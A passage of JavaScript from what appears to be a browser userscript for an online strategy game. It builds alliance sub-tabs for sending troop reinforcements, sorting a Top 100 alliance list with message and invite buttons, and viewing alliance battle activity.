						row[0].insertCell(c).innerHTML = translate(transport_unit_types[i]);
						var inp = document.createElement('input');
						inp.type = 'text';
						inp.size = '2';
						inp.style.width = '65px';
						inp.title = translate(transport_unit_types[i]);
						inp.style.border = '1px solid grey';
						inp.maxlength = '6';
						if (prefix == 'TR') {
							if (Data.options.alliance.auto.transports[Names.troops.byAbbr[transport_unit_types[i]][1]] == undefined)
								Data.options.alliance.auto.transports[Names.troops.byAbbr[transport_unit_types[i]][1]] = 0;
							val = toNum(Data.options.alliance.auto.transports[Names.troops.byAbbr[transport_unit_types[i]][1]]);
						}
						if (!val) val = 0;
						inp.value = val;
						inp.name = prefix + '_' + i;
						inp.addEventListener('change', listener, false);
						row[1].insertCell(c).appendChild(inp);
						var trp_cell = row[2].insertCell(c);
						var stk = numf(toNum(Seed.cities[CAPITAL.id].units[Names.troops.byAbbr[transport_unit_types[i]][1]]), ' ');
						trp_cell.className = 'jewel';
						trp_cell.innerHTML = '<div id=' + UIDTrpStk + '_' + i + '>(&nbsp;' + stk + '&nbsp;)</div>';
						c = c + 1;
					}
					return tab;
				}
			},

			/** ALLIANCE REINFORCEMENT SUB-TAB ***/
			tabAllianceReinforcement: function() {
				var t = Tabs.Alliance;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAllianceReinforcement']).className = 'selected';
				document.getElementById(UID['tabAllianceReinforcement']).style.zIndex = 1;
				t.lastSubTab = 'tabAllianceReinforcement';
				t.contentType = 2;

				var m = '<div id=' + setUID('tabAlliance_Results') + ' style="height:590px">' + '	<div class=' + UID['title'] + '>' + translate('reinforcements') + '</div>' + '	<div id=' + setUID('tabAlliance_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr class=' + UID['row_headers_left'] + ' align=left>' + '			<td align=left colspan=2>' + translate('Recipient') + ' : </td>' + '		</tr><tr>' + '			<td><div id=' + setUID('tabAlliance_ReinfPlayerList') + '></div></td>' + '			<td><div id=' + setUID('tabAlliance_ReinfTarget') + ' style="height: 17px; padding: 2px 0px;"></div></td>' + '		</tr>' + '	</table><br>' + '	<br>' + '	<table id=' + setUID('tabAlliance_RTroops') + ' class=' + UID['table'] + '>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=5>' + translate('Troops for reinforcement') + ':&nbsp;</td>' + '		</tr>';

				var UIDTrp = setUID('tabAlliance_Trp');
				var UIDMax = setUID('tabAlliance_MaxT');
				var UIDRem = setUID('tabAlliance_RemT');
				for (i = 0; i < all_unit_types.length; i++) {
					var num = toNum(Data.options.alliance.data.units[all_unit_types[i]]);
					var stk = toNum(Seed.cities[CAPITAL.id].units[all_unit_types[i]]);
					var remaining = '( ' + numf(stk - num, ' ') + ' )';
					stk = numf(stk, ' ');
					m += '<tr><td class=right width="100px">' + translate(Names.troops.byName[all_unit_types[i]][1]) + ':</td>' + '	<td width="75px">' + '		<input type=text id=' + UIDTrp + '_' + i + ' maxlength=6 style="width:55px" size=2 value="' + num + '"\></td>' + '	<td width="30px">' + '		<input class=small id=' + UIDMax + '_' + i + ' ref=' + i + ' type=button  style="width:auto !important;" value=" Max " \></td>' + '	<td align=right width="70px">' + stk + '</td>' + '	<td align=right width="80px"><span id=' + UIDRem + '_' + i + ' ref=' + i + '>' + remaining + '</span></td>' + '</tr>';
				}
				m += '</table><br><br>' + '<table class=' + UID['table'] + ' style="margin-top:3px" width=60%>' + '	<tr valign=top align=center>' + '		<td width=25%><label><input id=' + setUID('tabAlliance_clearAllR') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Clear all') + '" /></label></td>' + '		<td width=25%><label><input id=' + setUID('tabAlliance_LaunchR') + ' type=button value="' + translate('Send reinforcement') + '" /></label></td>' + '		<td width=25%><label><input id=' + setUID('tabAlliance_LaunchAllR') + ' type=button value="' + translate('Send Max in reinf') + '" /></label></td>' + '	</tr>' + '</table>' + '<br></div></div>';
				document.getElementById(UID['tabAlliance_Content']).innerHTML = m;
				document.getElementById(UID['tabAlliance_clearAllR']).addEventListener('click', onClickClearAll, false);
				document.getElementById(UID['tabAlliance_LaunchR']).addEventListener('click', SendReinforcement, false);
				document.getElementById(UID['tabAlliance_LaunchAllR']).addEventListener('click', sendMaxReinforcements, false);
				for (i = 0; i < all_unit_types.length; i++) {
					document.getElementById(UIDTrp + '_' + i).addEventListener('change', eventTroopsReinforcemment, false);
					butMax = document.getElementById(UIDMax + '_' + i);
					butMax.addEventListener('click', setTroupsMax, false);
					setButtonStyle(butMax, true, 'btn_green');
				}

				if (isUnderProtection()) {
					setButtonStyle(document.getElementById(UID['tabAlliance_LaunchR']), false);
					setButtonStyle(document.getElementById(UID['tabAlliance_LaunchAllR']), false);
				} else {
					setButtonStyle(document.getElementById(UID['tabAlliance_LaunchR']), true);
					setButtonStyle(document.getElementById(UID['tabAlliance_LaunchAllR']), true);
				}

				t.getMemberList();

				function eventTroopsReinforcemment(event) {
					var args = event.target.id.split('_');
					var x = toNum(event.target.value);
					t.totalForces = 0;
					var currentForces = 0;
					for (var r = 0; r < all_unit_types.length; r++) {
						if (r != args[1]) t.totalForces = toNum(t.totalForces) + toNum(Data.options.alliance.data.units[all_unit_types[r]]);
						if (r == args[1]) currentForces = toNum(Seed.cities[CAPITAL.id].units[all_unit_types[r]]);
						document.getElementById(UID['tabAlliance_Trp'] + '_' + r).style.backgroundColor = '';
					}
					if (isNaN(x) || x < 0 || (x + toNum(t.totalForces)) > (getMusterPoint(CAPITAL.id)).max_troops)
						event.target.style.backgroundColor = 'red';
					else event.target.style.backgroundColor = '';
					event.target.value = x;
					Data.options.alliance.data.units[all_unit_types[args[1]]] = x;
					document.getElementById(UID['tabAlliance_RemT'] + '_' + args[1]).innerHTML = '( ' + numf(currentForces - x, ' ') + ' )';
				}

				function onClickClearAll() {
					var t = Tabs.Alliance;
					for (var i = 0; i < all_unit_types.length; i++)
						Data.options.alliance.data.units[all_unit_types[i]] = 0;
					t.tabAllianceReinforcement();
				}

				function setTroupsMax(event) {
					var args = event.target.id.split('_');
					var max = 0;
					var cur = toNum(Seed.cities[CAPITAL.id].units[all_unit_types[args[1]]]);
					t.totalForces = 0;
					for (var r = 0; r < all_unit_types.length; r++)
						if (r != args[1]) t.totalForces = toNum(t.totalForces) + toNum(Data.options.alliance.data.units[all_unit_types[r]]);
					max = (getMusterPoint(CAPITAL.id)).max_troops - toNum(t.totalForces);
					if (max > cur) max = cur;
					Data.options.alliance.data.units[all_unit_types[args[1]]] = toNum(max);
					t.tabAllianceReinforcement();
				}

				function SendReinforcement() {
					var dial = new ModalDialog(t.container, 300, 150, '', false);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Sending reinforcement');
					checkReinforcement(Data.options.alliance.data.units, notify);

					function notify(rslt) {
						if (rslt != 'OK') {
							try {
								dial.getContentDiv().innerHTML = '<B>' + rslt + '</b>';
								dial.allowClose(true);
							} catch (e) {}
						} else {
							try {
								dial.getContentDiv().innerHTML = '<B> OK </b>';
								setTimeout(function() {
									dial.destroy()
								}, 1000);
							} catch (e) {}
							t.show();
						}
					}
				}

				function checkReinforcement(units, notify) {
					var t = Tabs.Alliance;
					var cityId = Seed.cities[CAPITAL.id].id;
					var cityIdx = CAPITAL.id;
					var target = t.getTarget(Data.options.alliance.reinforce_id);
					if (is_null(target)) {
						notify(translate('No Recipient Defined'));
						return;
					}
					var availableGeneral = null;
					/* check troops */
					/*var units = Data.options.alliance.data.units;*/
					var checkUnits = checkTroops(CAPITAL.id, units);
					if (checkUnits != null) {
						notify(getErrorText(checkUnits, 'fb'));
						return;
					}
					availableGeneral = getAvailableGeneral();
					if (availableGeneral == null) {
						notify(getErrorText(3, 'fb'));
						return;
					}
					var targMsg = '<B>' + translate('Reinforcement sent to') + '</B> : ' + target.msg;
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.marchSend(cityId, target.x, target.y, availableGeneral.id, units, 'attacks', function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('Successfully'));
							actionLog(targMsg);
							if (notify) notify('OK');
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
							if (notify) notify(translate('Error') + ': ' + rslt.errmsg);
						}
						return;
					});
				}

				function sendMaxReinforcements() {
					var t = Tabs.Alliance;
					if (t.checkReinfBusy) return false;
					t.checkReinfBusy = true;
					initReinforcements(function() {
						logit('****** Setting checkReinfBusy to FALSE');
						Tabs.Alliance.checkReinfBusy = false;
						Tabs.Alliance.show();
					});
				}

				function initReinforcements(notify) {
					var t = Tabs.Alliance;
					var sendable = [];
					var tot_qty = 0;
					for (i = 0; i < all_unit_types.length; i++) {
						var is_transport = false;
						for (var x = 0; x < transport_unit_types.length && !is_transport; x++)
							if (Names.troops.byAbbr[transport_unit_types[x]][1] == all_unit_types[i]) is_transport = true;
						if (!is_transport) {
							var num = toNum(Seed.cities[CAPITAL.id].units[all_unit_types[i]]);
							tot_qty += num;
							if (num > 0)
								sendable.push({
									type: all_unit_types[i],
									qty: num,
									upkeep: toNum(Seed.stats.unit[all_unit_types[i]].upkeep.food)
								});
						}
					}
					var muster_point = getMusterPoint(CAPITAL.id);
					var max_march = muster_point.slots;
					var max_per_march = muster_point.max_troops;
					if (max_march <= 0 || tot_qty == 0 || max_per_march <= 0) {
						notify(true);
						return;
					}
					logit('======> alliance tab initReinforcements');
					progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t.container);
					progressBar.start({
						steps: 100,
						delay: 1,
						byCount: true,
						title: translate('Sending reinforcement') + '...',
						stepText: translate('Please wait...')
					});
					sendable.sort(function(a, b) {
						return b.upkeep - a.upkeep
					});
					t.to_send = sendable;
					t.step = 0;
					t.steps = (Math.ceil(tot_qty / max_per_march) <= max_march) ? Math.ceil(tot_qty / max_per_march) : max_march;
					startReinforcements(notify);

					function notify(rslt) {
						if (rslt != 'OK') {
							progressBarPop.getContentDiv().innerHTML = '<B>' + rslt + '</B>';
							progressBarPop.allowClose(true);
							if (notify) notify(false);
							return;
						} else {
							actionLog('<B>startReinforcements</B> : ' + translate('complete'));
							progressBarPop.destroy();
							if (notify) notify(true);
							return;
						}
					}
				}

				function startReinforcements(notify) {
					var t = Tabs.Alliance;
					t.is_sending = true;
					t.callback = notify;
					t.result = 'OK';
					processReinforcements();
					waitCompletion();
				}

				function waitCompletion() {
					var t = Tabs.Alliance;
					if (t.is_sending) {
						setTimeout(waitCompletion, 1000);
					} else {
						if (t.callback) {
							t.callback(t.result);
							return;
						}
					}
				}

				function processReinforcements() {
					var t = Tabs.Alliance,
						muster_point = getMusterPoint(CAPITAL.id);
					var max = muster_point.max_troops;
					var tot_qty = 0;
					var units = [];
					for (var i = 0; i < t.to_send.length && tot_qty < max; i++) {
						var unit = t.to_send[i];
						if (unit.qty > 0) {
							var qty = (unit.qty > max - tot_qty) ? max - tot_qty : unit.qty;
							tot_qty += qty;
							units[unit.type] = qty;
							unit.qty -= qty;
						}
					}
					if (muster_point.slots <= 0 || tot_qty == 0) {
						t.is_sending = false;
						return;
					}
					checkReinforcement(units, function(rslt) {
						if (rslt == 'OK') {
							t.percent = toNum(t.step * 100 / t.steps);
							progressBar.update({
								step: t.percent,
								stepText: translate('Please wait...') + '<br>' + translate('Step') + ' ' + (t.step + 1) + '/' + t.steps + ' : ' + getTroops(units, ' ')
							});
							t.step++;
							setTimeout(processReinforcements, Math.randRange(2000, 5000));
						} else {
							progressBar.update({
								stepText: rslt
							});
							t.result = rslt;
							t.is_sending = false;
						}
					});
				}
			},

			/** ALLIANCES TOP 100 SUB-TAB ***/
			tabAlliances: function() {
				var t = Tabs.Alliance;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAlliances']).className = 'selected';
				document.getElementById(UID['tabAlliances']).style.zIndex = 1;
				t.lastSubTab = 'tabAlliances';

				t.contentType = 3;

				if (is_null(Data.options.alliance.sort_alliance))
					Data.options.alliance.sort_alliance = '0';
				if (!is_null(Data.options.alliance.alliance_update))
					kLastupdate = ' (' + Data.options.alliance.alliance_update + ')';
				else kLastupdate = '';

				var m = '<div id=' + setUID('tabAlliance_Results') + ' style="height:640px">' + '	<div class=' + UID['title'] + '>' + translate('Alliances') + 'Top 100 ' + kLastupdate + '</div>' + '	<div id=' + setUID('tabAlliance_ResultList') + ' class=' + UID['status_ticker'] + ' style="height:620px; max-height:620px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabAlliance_Content']).innerHTML = m;

				var m = '<table class=' + UID['row_style'] + '>' + '	<tr><td align=left colspan=4>' + '		<input type=button value="' + translate('Refresh list') + '" id=' + setUID('tabAlliance_RefreshAlliances') + ' />' + '	</td></tr>' + '	<tr valign=top><td style="font-size:2px">&nbsp</td>' + '	</tr>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td id=' + setUID('tabAlliance_taa_0') + ' width="40px" align=center><A><span>' + translate('Rank') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_taa_1') + ' width="150px" style="overflow-x:auto"><A><span>' + translate('Alliance') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_taa_2') + ' width="150px" style="overflow-x:auto"><A><span>' + translate('role-overlord') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_taa_3') + ' width="45px" align=center><A><span>' + translate('members') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_taa_4') + ' width="65px" align=right><A><span>' + translate('Might') + '</span></A></td>' + '		<td width="60px" align=right>' + translate('Evol') + '</td>' + '	</tr>';
				var am = [],
					ai = [],
					UIDMsg = setUID('tabAlliances_SendMsg'),
					UIDInv = setUID('tabAlliances_Invite');
				for (var i = 0; i < Data.dynamic.players.alliances.length; i++) {
					var mightF = numf(Data.dynamic.players.alliances[i].might, ' ');
					var found = false;
					var evol = 'x',
						diff = '';
					for (var old = 0; old < Data.dynamic.players.alliances_evolution.length && !found; old++) {
						if (Data.dynamic.players.alliances_evolution[old].id == Data.dynamic.players.alliances[i].id) {
							evol = Data.dynamic.players.alliances[i].might - Data.dynamic.players.alliances_evolution[old].might;
							diff = Data.dynamic.players.alliances[i].count - (Data.dynamic.players.alliances_evolution[old].count || Data.dynamic.players.alliances[i].count);
							if (evol < 0) evol = '<span class=' + UID['red'] + '>' + numf(evol, ' ') + '</span>';
							else if (evol > 0) evol = '<span class=' + UID['green'] + '>+' + numf(evol, ' ') + '</span>';
							else evol = numf(evol, ' ');
							if (diff < 0) diff = ' (<span class=' + UID['red'] + '>' + numf(diff, ' ') + '</span>)';
							else if (diff > 0) diff = ' (<span class=' + UID['green'] + '>+' + numf(diff, ' ') + '</span>)';
							else diff = '';
							found = true;
						}
					}
					var user_ids = Data.dynamic.players.alliances[i].id + '_' + Data.dynamic.players.alliances[i].lord_id;
					m += '<tr><td align=center>' + Data.dynamic.players.alliances[i].rank + '</td>' + '	<td align=left>' + getAllianceRelationship(Data.dynamic.players.alliances[i].id, Data.dynamic.players.alliances[i].name) + '</td>' + '	<td align=left>' + Data.dynamic.players.alliances[i].lord + '</td>' + '	<td align=center>' + Data.dynamic.players.alliances[i].count + diff + '</td>' + '	<td align=right>' + mightF + '</td>' + '	<td align=right>' + evol + '</td>' + '	<td align=right>&nbsp;<input class=Xtrasmall id=' + UIDMsg + '_' + Data.dynamic.players.alliances[i].id + ' ref="' + user_ids + '" type=button  style="width:auto !important;" value="' + translate('Msg') + '" \></td>' + ((Seed.player.alliance && Seed.player.alliance.id > 0) ? '' : '<td align=right>&nbsp;<input class=Xtrasmall id=' + UIDInv + '_' + i + ' ref="' + Data.dynamic.players.alliances[i].id + '" type=button  style="width:auto !important;" value="' + translate('Invite') + '" \></td>') + '</tr>';
					am.push(UIDMsg + '_' + Data.dynamic.players.alliances[i].id);
					if (!Seed.player.alliance || Seed.player.alliance.id == 0) ai.push(UIDInv + '_' + i);
				}
				document.getElementById(UID['tabAlliance_ResultList']).innerHTML = m + '</table>';
				document.getElementById(UID['tabAlliance_RefreshAlliances']).addEventListener('click', refreshAlllianceList, false);
				for (var h = 0; h < 5; h++)
					document.getElementById(UID['tabAlliance_taa_' + h]).addEventListener('click', sortAllianceList, false);
				for (var x = 0; x < am.length; x++)
					document.getElementById(am[x]).addEventListener('click', onClickMsg, false);
				for (var x = 0; x < ai.length; x++)
					document.getElementById(ai[x]).addEventListener('click', onClickInvite, false);

				function sortAllianceList(event) {
					var t = Tabs.Alliance;
					var arg = event.target.parentNode.parentNode.id;
					if (arg == UID['tabAlliance_taa_0']) {
						if (Data.options.alliance.sort_alliance == '0') {
							Data.dynamic.players.alliances.sort(function(a, b) {
								return b.rank - a.rank
							});
							Data.options.alliance.sort_alliance = '-0';
						} else {
							Data.dynamic.players.alliances.sort(function(a, b) {
								return a.rank - b.rank
							});
							Data.options.alliance.sort_alliance = '0';
						}
					} else if (arg == UID['tabAlliance_taa_1']) {
						if (Data.options.alliance.sort_alliance == '1') {
							Data.dynamic.players.alliances.sort(function(a, b) {
								a = a.name.toLowerCase();
								b = b.name.toLowerCase();
								if (a > b) return -1;
								if (a < b) return 1;
								return 0;
							});
							Data.options.alliance.sort_alliance = '-1';
						} else {
							Data.dynamic.players.alliances.sort(function(a, b) {
								a = a.name.toLowerCase();
								b = b.name.toLowerCase();
								if (a > b) return 1;
								if (a < b) return -1;
								return 0;
							});
							Data.options.alliance.sort_alliance = '1';
						}
					} else if (arg == UID['tabAlliance_taa_2']) {
						if (Data.options.alliance.sort_alliance == '2') {
							Data.dynamic.players.alliances.sort(function(a, b) {
								a = a.lord.toLowerCase();
								b = b.lord.toLowerCase();
								if (a > b) return -1;
								if (a < b) return 1;
								return 0;
							});
							Data.options.alliance.sort_alliance = '-2';
						} else {
							Data.dynamic.players.alliances.sort(function(a, b) {
								a = a.lord.toLowerCase();
								b = b.lord.toLowerCase();
								if (a > b) return 1;
								if (a < b) return -1;
								return 0;
							});
							Data.options.alliance.sort_alliance = '2';
						}
					} else if (arg == UID['tabAlliance_taa_3']) {
						if (Data.options.alliance.sort_alliance == '3') {
							Data.dynamic.players.alliances.sort(function(a, b) {
								return b.count - a.count
							});
							Data.options.alliance.sort_alliance = '-3';
						} else {
							Data.dynamic.players.alliances.sort(function(a, b) {
								return a.count - b.count
							});
							Data.options.alliance.sort_alliance = '3';
						}
					} else if (arg == UID['tabAlliance_taa_4']) {
						if (Data.options.alliance.sort_alliance == '4') {
							Data.dynamic.players.alliances.sort(function(a, b) {
								return b.might - a.might
							});
							Data.options.alliance.sort_alliance = '-4';
						} else {
							Data.dynamic.players.alliances.sort(function(a, b) {
								return a.might - b.might
							});
							Data.options.alliance.sort_alliance = '4';
						}
					}
					t.tabAlliances();
				}

				function refreshAlllianceList() {
					var t = Tabs.Alliance;
					if (t.checkAlliancesBusy) return false;
					t.checkAlliancesBusy = true;
					getAlliances(function() {
						logit(translate('Alliances list retrieved'));
						Tabs.Alliance.checkAlliancesBusy = false;
						var now = serverTime();
						Data.options.alliance.alliance_update = new Date(now * 1000).myString();
						refreshDisplay();
					});
				}

				function refreshDisplay() {
					var t = Tabs.Alliance;
					if (t.checkAlliancesBusy) setTimeout(refreshDisplay, 1000);
					else t.tabAlliances();
				}

				function getAlliances(notify) {
					var t = Tabs.Alliance;
					ret = [];
					if (Data.dynamic.players.alliances && Data.dynamic.players.alliances != undefined && Data.dynamic.players.alliances.length > 0)
						for (var i = 0; i < Data.dynamic.players.alliances.length; i++)
							ret.push({
								id: Data.dynamic.players.alliances[i].id,
								might: Data.dynamic.players.alliances[i].might,
								count: Data.dynamic.players.alliances[i].count
							});
					Data.dynamic.players.alliances_evolution = cloneProps(ret);
					Data.dynamic.players.alliances = {
						name: '',
						id: 0,
						count: 0,
						rank: 0,
						might: 0,
						lord: '',
						lord_id: 0,
						desc: ''
					};
					progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t.container);
					progressBar.start({
						steps: 100,
						delay: 1,
						byCount: true,
						title: translate('Search for alliance list') + '...',
						stepText: translate('Please wait...')
					});
					MemberShips.fetchAlliances(callback);

					function callback(dat) {
						if (!dat.done) {
							if (dat.errmsg)
								progressBarPop.getContentDiv().innerHTML = dat.errmsg;
							else progressBarPop.getContentDiv().innerHTML = translate('Error while retrieving the list of alliances');
							Tabs.Alliance.checkAlliancesError = true;
							progressBarPop.allowClose(true);
							if (notify) notify(false);
							return;
						} else {
							Data.dynamic.players.alliances = cloneProps(dat.alliance);
							Data.dynamic.players.friends = cloneProps(dat.friends);
							Data.dynamic.players.foes = cloneProps(dat.foes);
							actionLog(translate('Search for alliance list') + ' ' + translate('complete'));
							logit('*********  List retrieved ... Total members: ' + Data.dynamic.players.alliances.length);
							Data.dynamic.players.alliances.sort(function(a, b) {
								return a.rank - b.rank
							});
							Data.options.alliance.sort_alliance = '0';
							progressBarPop.destroy();
							if (notify) notify(true);
						}
					}
				}

				function onClickInvite(event) {
					var t = Tabs.Alliance,
						but = event.target;
					var id = but.getAttribute('ref');
					setButtonStyle(but, false);
					var dial = new ModalDialog(t.container, 300, 165, '', false, null);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('actions-ask-to-join');
					MyAjax.membership(id, Seed.player.id, 'invite', callback, false);

					function callback(dat) {
						if (dat == null || !dat.ok) {
							if (dat.errmsg)
								dial.getContentDiv().innerHTML = dat.errmsg;
							else dial.getContentDiv().innerHTML = translate('Error while sending the request');
							dial.allowClose(true);
							return;
						}
						setTimeout(function() {
							dial.destroy()
						}, 1000);
						return;
					}
				}
			},

			/** ALLIANCE ACTIVITY SUB-TAB ***/
			tabAllianceActivity: function() {
				var t = Tabs.Alliance;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAllianceActivity']).className = 'selected';
				document.getElementById(UID['tabAllianceActivity']).style.zIndex = 1;
				t.lastSubTab = 'tabAllianceActivity';

				t.contentType = 5;

				if (is_null(Data.options.alliance.sort_activity))
					Data.options.alliance.sort_activity = '0';
				if (!is_null(Data.options.alliance.activity_update))
					kLastupdate = ' (' + Data.options.alliance.activity_update + ')';
				else kLastupdate = '';

				var m = '<div id=' + setUID('tabAlliance_Results') + ' style="height:640px">' + '	<div class=' + UID['title'] + '>' + translate('Activity') + ' ' + kLastupdate + '</div>' + '	<div id=' + setUID('tabAlliance_ResultList') + ' class=' + UID['status_ticker'] + ' style="height:620px; max-height:620px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' + '	<div id=' + setUID('tabAlliance_ReportDetail') + ' class=' + UID['status_ticker'] + ' style="height:555px; max-height:555px; overflow:auto; white-space:nowrap; display:none; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabAlliance_Content']).innerHTML = m;

				var m = '<table class=' + UID['row_style'] + '>' + '	<tr><td align=left colspan=6>' + '		<input type=button value="' + translate('Refresh') + '" id=' + setUID('tabAlliance_RefreshActivity') + ' />' + '	</td></tr>' + '	<tr valign=top><td style="font-size:2px">&nbsp</td>' + '	</tr>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td width="40px" align=center><A><span>' + translate('ago') + '</span></A></td>' + '		<td width="150px" style="overflow-x:auto"><A><span>' + translate('members') + '</span></A></td>' + '		<td width="20px" style="overflow-x:auto"><A><span>' + translate('Role') + '</span></A></td>' + '		<td width="150px" align=center><A><span>' + translate('Enemy') + '</span></A></td>' + '		<td width="60px" align=right><A><span>' + translate('status') + '</span></A></td>' + '		<td width="60px" align=right>' + translate('reports') + '</td>' + '	</tr>';
				if (t.report_num == -1) {
					document.getElementById(UID['tabAlliance_ResultList']).style.height = "620px";
					document.getElementById(UID['tabAlliance_ReportDetail']).style.display = "none";
					for (var i = 0; i < Data.dynamic.players.activity.length; i++) {
						var act = Data.dynamic.players.activity[i];
						var time = timestrShort(toNum(serverTime()) - toNum(act.time));
						var mate = '<span title="' + act.aname + ', ' + translate('might') + ' ' + numf(act.amight, ' ') + ' (' + act.ax + '/' + act.ay + ')"><b>' + act.aname + '</b></span>';
						var enemy_alli = '';
						if (!is_null(act.palli)) enemy_alli = ', ' + act.palli;
						var enemy = '<span title="' + act.pname + enemy_alli + ', ' + translate('might') + ' ' + numf(act.pmight, ' ') + ' (' + act.px + '/' + act.py + ')"><b>' + act.pname + '</b>' + enemy_alli + '</span>';
						m += '<tr><td align=center>' + time + '</td>' + '	<td align=left>' + mate + '</td>' + '	<td align=center><b>' + (act.def ? '&gt' : '<span class=' + UID['red'] + '>&lt</span>') + '</b></td>' + '	<td align=left>' + enemy + '</td>' + '	<td align=left>' + (act.won ? translate('won') : '<span class=' + UID['red'] + '>' + translate('lost') + '</span>') + '</td>' + '	<td><input id=' + setUID('tabAlliance_view_' + i) + ' ref=' + i + ' class=Xtrasmall style="width:auto !important;" type=submit value="' + translate('View') + '" /></td>' + '</tr>';
					}
				} else {
					document.getElementById(UID['tabAlliance_ResultList']).style.height = "60px";
					document.getElementById(UID['tabAlliance_ReportDetail']).style.display = "block";
					var act = Data.dynamic.players.activity[t.report_num];
					var time = timestrShort(toNum(serverTime()) - toNum(act.time));
					var mate = '<span title="' + act.aname + ', ' + translate('might') + ' ' + numf(act.amight, ' ') + ' (' + act.ax + '/' + act.ay + ')"><b>' + act.aname + '</b></span>';
					var enemy_alli = '';
					if (!is_null(act.palli)) enemy_alli = ', ' + act.palli;
					var enemy = '<span title="' + act.pname + enemy_alli + ', ' + translate('might') + ' ' + numf(act.pmight, ' ') + ' (' + act.px + '/' + act.py + ')"><b>' + act.pname + '</b>' + enemy_alli + '</span>';
					m += '<tr><td align=center>' + time + '</td>' + '	<td align=left>' + mate + '</td>' + '	<td align=center>' + (act.def ? '&gt' : '<span class=' + UID['red'] + '>&lt</span>') + '</td>' + '	<td align=left>' + enemy + '</td>' + '	<td align=left>' + (act.won ? translate('won') : '<span class=' + UID['red'] + '>' + translate('lost') + '</span>') + '</td>' + '	<td><input id=' + setUID('tabAlliance_Hide') + ' class=Xtrasmall style="width:auto !important;" type=submit value="' + translate('wall-orders-hide') + '" /></td>' + '</tr>';
				}
				document.getElementById(UID['tabAlliance_ResultList']).innerHTML = m + '</table>';

				var refreshBut = document.getElementById(UID['tabAlliance_RefreshActivity']);
				refreshBut.addEventListener('click', refreshActivityList, false);
				if (Seed.player.alliance && Seed.player.alliance.id > 0) setButtonStyle(refreshBut, true);
				else setButtonStyle(refreshBut, false);

				if (t.report_num == -1) {
					for (var i = 0; i < Data.dynamic.players.activity.length; i++) {
						var butView = document.getElementById(UID['tabAlliance_view_' + i]);
						butView.addEventListener('click', onViewReport, false);
						Element.addClassName(butView, UID['btn_green']);
					}
				} else {
					var butHide = document.getElementById(UID['tabAlliance_Hide']);
					butHide.addEventListener('click', onHideReport, false);
					Element.addClassName(butHide, UID['btn_green']);
					showReport();
				}

				function onHideReport(event) {
					t.report_num = -1;
					t.tabAllianceActivity();
				}

				function onViewReport(event) {
					var n = toNum(event.target.getAttribute('ref'));
					t.report_num = n;
					t.tabAllianceActivity();
				}

				function refreshActivityList() {
					var t = Tabs.Alliance;
					t.report_num = -1;
					if (t.checkAlliancesBusy) return false;
					t.checkAlliancesBusy = true;
					getActivities(function() {
						logit(translate('Alliance activity retrieved'));
						Tabs.Alliance.checkAlliancesBusy = false;
						var now = serverTime();
						Data.options.alliance.activity_update = new Date(now * 1000).myString();
						refreshDisplay();
					});
				}

				function refreshDisplay() {
					var t = Tabs.Alliance;
					if (t.checkAlliancesBusy) setTimeout(refreshDisplay, 1000);
					else t.tabAllianceActivity();
				}

				function getActivities(notify) {
					var t = Tabs.Alliance;
					Data.dynamic.players.activity = {
						won: false,
						id: 0,
						def: false,
						time: 0,
						aname: '',
						amight: 0,
						ax: 0,
						ay: 0,
						pname: '',
						pmight: 0,
						px: 0,
						py: 0,
						palli: ''
					};
					progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t.container);
					progressBar.start({
						steps: 100,
						delay: 1,
						byCount: true,
						title: translate('Search for alliance activity') + '...',
						stepText: translate('Please wait...')
					});
					MemberShips.fetchActivity(Seed.player.alliance.id, callback);

					function callback(dat) {
						if (!dat.done) {
							if (dat.errmsg)
								progressBarPop.getContentDiv().innerHTML = dat.errmsg;
							else progressBarPop.getContentDiv().innerHTML = translate('Error while retrieving the alliance activity');
							Tabs.Alliance.checkAlliancesError = true;
							progressBarPop.allowClose(true);
							if (notify) notify(false);
							return;
						} else {
							Data.dynamic.players.activity = cloneProps(dat.battle);
							actionLog(translate('Search for alliance activity') + ' ' + translate('complete'));
							logit('*********  List retrieved ... Total battles: ' + Data.dynamic.players.activity.length);
							Data.dynamic.players.activity.sort(function(a, b) {
								return b.time - a.time
							});
							Data.options.alliance.sort_activity = '0';
							progressBarPop.destroy();
							if (notify) notify(true);
						}
					}
				}

				function showReportDelay() {
					var t = Tabs.Alliance;
					if (t.checkActivityBusy) setTimeout(showReportDelay, 1000);
					else displayReport();
				}

				function showReport() {
					var t = Tabs.Alliance;
					if ((is_null(Messages.activity) || is_null(Messages.activity[Data.dynamic.players.activity[t.report_num].id]) || is_null(Messages.activity[Data.dynamic.players.activity[t.report_num].id].report)) && !t.checkActivityBusy) {
						t.checkActivityBusy = true;
